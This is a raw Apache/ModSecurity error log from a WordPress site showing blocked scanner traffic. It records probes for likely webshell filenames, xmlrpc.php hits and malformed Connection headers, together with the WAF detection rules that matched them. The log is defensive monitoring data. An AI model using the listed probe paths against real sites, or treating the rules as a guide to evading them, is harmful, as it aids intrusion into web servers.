[Thu Jan 08 23:28:13.581922 2026] [:error] [pid 17404:tid 17414] [client 74.225.203.54:18640] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w-1.php"] [unique_id "aV_NDWVd_oH193N6AnXZWwAAAYg"]
[Thu Jan 08 23:28:14.302446 2026] [:error] [pid 2424:tid 2433] [client 74.225.203.54:30977] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w-1.php"] [unique_id "aV_NDrTDJR8aofkBk9RM4QAAAQc"]
[Thu Jan 08 23:28:14.880046 2026] [:error] [pid 2484:tid 2486] [client 74.225.203.54:46219] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w-1.php"] [unique_id "aV_NDjiDlnlaQQK_AEO1AQAAAUA"]
[Thu Jan 08 23:28:15.573359 2026] [:error] [pid 2484:tid 2508] [client 74.225.203.54:46719] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aV_NDziDlnlaQQK_AEO1AgAAAVQ"]
[Thu Jan 08 23:28:16.013535 2026] [:error] [pid 2484:tid 2503] [client 74.225.203.54:18474] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aV_NEDiDlnlaQQK_AEO1BAAAAU8"]
[Thu Jan 08 23:28:17.498674 2026] [:error] [pid 7586:tid 7597] [client 74.225.203.54:18452] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aV_NEcJyk37GdXP5TmWGhAAAAck"]
[Thu Jan 08 23:28:18.259366 2026] [:error] [pid 15358:tid 15388] [client 74.225.203.54:46263] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aV_NEioRk9xWJ3toSBKcPQAAANI"]
[Thu Jan 08 23:28:18.723987 2026] [:error] [pid 17404:tid 17416] [client 74.225.203.54:18667] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aV_NEmVd_oH193N6AnXZXwAAAYo"]
[Thu Jan 08 23:28:19.211729 2026] [:error] [pid 15358:tid 15385] [client 74.225.203.54:46295] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aV_NEyoRk9xWJ3toSBKcPgAAAM8"]
[Thu Jan 08 23:28:19.599239 2026] [:error] [pid 15264:tid 15305] [client 74.225.203.54:30986] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aV_NE4ov6_kvS0Owh-oqSwAAAEY"]
[Thu Jan 08 23:28:19.954638 2026] [:error] [pid 15358:tid 15394] [client 74.225.203.54:30932] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aV_NEyoRk9xWJ3toSBKcQAAAANg"]
[Thu Jan 08 23:28:20.295806 2026] [:error] [pid 7586:tid 7595] [client 74.225.203.54:30987] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aV_NFMJyk37GdXP5TmWGiQAAAcc"]
[Thu Jan 08 23:28:21.189630 2026] [:error] [pid 2484:tid 2508] [client 74.225.203.54:18653] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aV_NFTiDlnlaQQK_AEO1DAAAAVQ"]
[Thu Jan 08 23:28:21.477125 2026] [:error] [pid 17404:tid 17408] [client 74.225.203.54:18487] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aV_NFWVd_oH193N6AnXZYgAAAYI"]
[Thu Jan 08 23:28:22.054610 2026] [:error] [pid 17404:tid 17429] [client 74.225.203.54:31028] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aV_NFmVd_oH193N6AnXZYwAAAZc"]
[Thu Jan 08 23:28:22.575642 2026] [:error] [pid 2424:tid 2432] [client 74.225.203.54:31007] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV_NFrTDJR8aofkBk9RM5AAAAQY"]
[Thu Jan 08 23:28:23.168274 2026] [:error] [pid 2424:tid 2441] [client 74.225.203.54:46689] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV_NF7TDJR8aofkBk9RM5QAAAQ8"]
[Thu Jan 08 23:28:23.728882 2026] [:error] [pid 17404:tid 17409] [client 74.225.203.54:18480] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV_NF2Vd_oH193N6AnXZZgAAAYM"]
[Thu Jan 08 23:28:24.154858 2026] [:error] [pid 15264:tid 15306] [client 74.225.203.54:18486] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aV_NGIov6_kvS0Owh-oqTwAAAEc"]
[Thu Jan 08 23:28:24.734037 2026] [:error] [pid 15358:tid 15391] [client 74.225.203.54:46331] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-widgets.php"] [unique_id "aV_NGCoRk9xWJ3toSBKcRwAAANU"]
[Thu Jan 08 23:28:25.113596 2026] [:error] [pid 2484:tid 2490] [client 74.225.203.54:46611] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-widgets.php"] [unique_id "aV_NGTiDlnlaQQK_AEO1DwAAAUQ"]
[Thu Jan 08 23:28:25.428357 2026] [:error] [pid 2424:tid 2434] [client 74.225.203.54:46608] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-widgets.php"] [unique_id "aV_NGbTDJR8aofkBk9RM6QAAAQg"]
[Thu Jan 08 23:28:25.714079 2026] [:error] [pid 2424:tid 2440] [client 74.225.203.54:46598] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-widgets.php"] [unique_id "aV_NGbTDJR8aofkBk9RM6gAAAQ4"]
[Thu Jan 08 23:28:26.258820 2026] [:error] [pid 15265:tid 15339] [client 74.225.203.54:46610] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpupex.php"] [unique_id "aV_NGqE6VBKhew2LTFRmXwAAAI0"]
[Thu Jan 08 23:28:26.600346 2026] [:error] [pid 17404:tid 17426] [client 74.225.203.54:46596] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpupex.php"] [unique_id "aV_NGmVd_oH193N6AnXZaAAAAZQ"]
[Thu Jan 08 23:28:27.025783 2026] [:error] [pid 15265:tid 15347] [client 74.225.203.54:30929] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpupex.php"] [unique_id "aV_NG6E6VBKhew2LTFRmYQAAAJU"]
[Thu Jan 08 23:28:27.458728 2026] [:error] [pid 2484:tid 2504] [client 74.225.203.54:39638] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpupex.php"] [unique_id "aV_NGziDlnlaQQK_AEO1EgAAAVA"]
[Thu Jan 08 23:28:27.927753 2026] [:error] [pid 15358:tid 15373] [client 74.225.203.54:46617] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aV_NGyoRk9xWJ3toSBKcSAAAAMM"]
[Thu Jan 08 23:28:28.378720 2026] [:error] [pid 15358:tid 15377] [client 74.225.203.54:46659] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aV_NHCoRk9xWJ3toSBKcSQAAAMc"]
[Thu Jan 08 23:28:28.733932 2026] [:error] [pid 15264:tid 15318] [client 74.225.203.54:18432] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aV_NHIov6_kvS0Owh-oqUAAAAFM"]
[Thu Jan 08 23:28:29.074401 2026] [:error] [pid 2484:tid 2487] [client 74.225.203.54:46641] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aV_NHTiDlnlaQQK_AEO1EwAAAUE"]
[Thu Jan 08 23:50:12.359147 2026] [:error] [pid 2484:tid 2501] [client 170.106.192.3:36482] [client 170.106.192.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aV_SNDiDlnlaQQK_AEO5ugAAAU0"]
[Fri Jan 09 01:58:59.855484 2026] [:error] [pid 13673:tid 13687] [client 114.96.103.33:44238] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV_wY4D4ue0-noJ7SHPBcQAAAgw"]
[Fri Jan 09 05:30:29.512427 2026] [:error] [pid 35916:tid 35942] [client 170.106.148.137:54372] [client 170.106.148.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWAh9fnSLfzabNjOjwyX9wAAANg"]
[Fri Jan 09 06:55:23.238850 2026] [:error] [pid 35810:tid 35837] [client 43.159.138.217:50184] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWA124rJrhH8tOUNM5ALKgAAABI"]
[Fri Jan 09 11:38:24.145815 2026] [autoindex:error] [pid 1366:tid 1386] [client 143.244.141.160:51546] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Jan 09 14:17:45.754805 2026] [:error] [pid 14770:tid 14779] [client 43.165.67.57:50848] [client 43.165.67.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWCdiR5QbaVZ-6newJYF9AAAAgc"]
[Fri Jan 09 14:21:01.494412 2026] [autoindex:error] [pid 30020:tid 30064] [client 143.244.141.160:59370] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Jan 09 19:14:39.223305 2026] [:error] [pid 44848:tid 44873] [client 43.157.67.70:43352] [client 43.157.67.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWDjH6jajoTJAbEk87y56QAAAFc"]
[Fri Jan 09 20:20:24.477620 2026] [:error] [pid 1366:tid 1391] [client 170.106.163.84:54768] [client 170.106.163.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWDyiBmasveKu8_ec1VqTwAAAZY"]
[Fri Jan 09 20:36:22.068664 2026] [:error] [pid 30019:tid 30045] [client 117.33.163.216:46568] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWD2Rkz3igHGwX5f7Irp9wAAABU"]
[Fri Jan 09 21:18:49.230153 2026] [:error] [pid 1366:tid 1368] [client 182.48.210.100:54516] [client 182.48.210.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.48.210.100, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWEAORmasveKu8_ec1V6HQAAAYA"]
[Fri Jan 09 21:19:18.901133 2026] [:error] [pid 30020:tid 30078] [client 78.134.45.121:62919] [client 78.134.45.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.134.45.121, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWEAVsrjc66qOisG6L3f3gAAAJg"]
[Sat Jan 10 00:40:29.676367 2026] [:error] [pid 44848:tid 44863] [client 4.194.99.179:43747] [client 4.194.99.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/ty.php"] [unique_id "aWEvfajajoTJAbEk87z9jwAAAE0"], referer: https://www.google.fr/
[Sat Jan 10 00:40:29.850718 2026] [:error] [pid 44848:tid 44869] [client 4.194.99.179:26995] [client 4.194.99.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.194.99.179, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWEvfajajoTJAbEk87z9kAAAAFM"], referer: https://www.google.fr/
[Sat Jan 10 00:40:29.941579 2026] [:error] [pid 14801:tid 14804] [client 4.194.99.179:12904] [client 4.194.99.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.194.99.179, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/xmlrpc.php"] [unique_id "aWEvfd8UWXrz_OQYgF2I-QAAAkE"], referer: https://www.google.fr/
[Sat Jan 10 00:40:30.248557 2026] [proxy_fcgi:error] [pid 44848:tid 44858] [client 4.194.99.179:26995] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sat Jan 10 01:36:17.087026 2026] [:error] [pid 30020:tid 30078] [client 43.130.74.193:48852] [client 43.130.74.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWE8kcrjc66qOisG6L0BkQAAAJg"]
[Sat Jan 10 01:45:23.621188 2026] [:error] [pid 30020:tid 30070] [client 161.118.211.239:61808] [client 161.118.211.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWE-s8rjc66qOisG6L0DWwAAAJA"], referer: http://measureyourbrand.com.au
[Sat Jan 10 01:45:24.286687 2026] [:error] [pid 14801:tid 14821] [client 161.118.211.239:55762] [client 161.118.211.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWE-tN8UWXrz_OQYgF2SPgAAAlI"]
[Sat Jan 10 03:08:34.417143 2026] [:error] [pid 14770:tid 14775] [client 36.111.67.189:47707] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWFSMh5QbaVZ-6newJZzvgAAAgM"]
[Sat Jan 10 04:24:49.135664 2026] [:error] [pid 20647:tid 20698] [client 49.51.141.76:55686] [client 49.51.141.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWFkEavb0x69MarUHzCQBQAAAFA"]
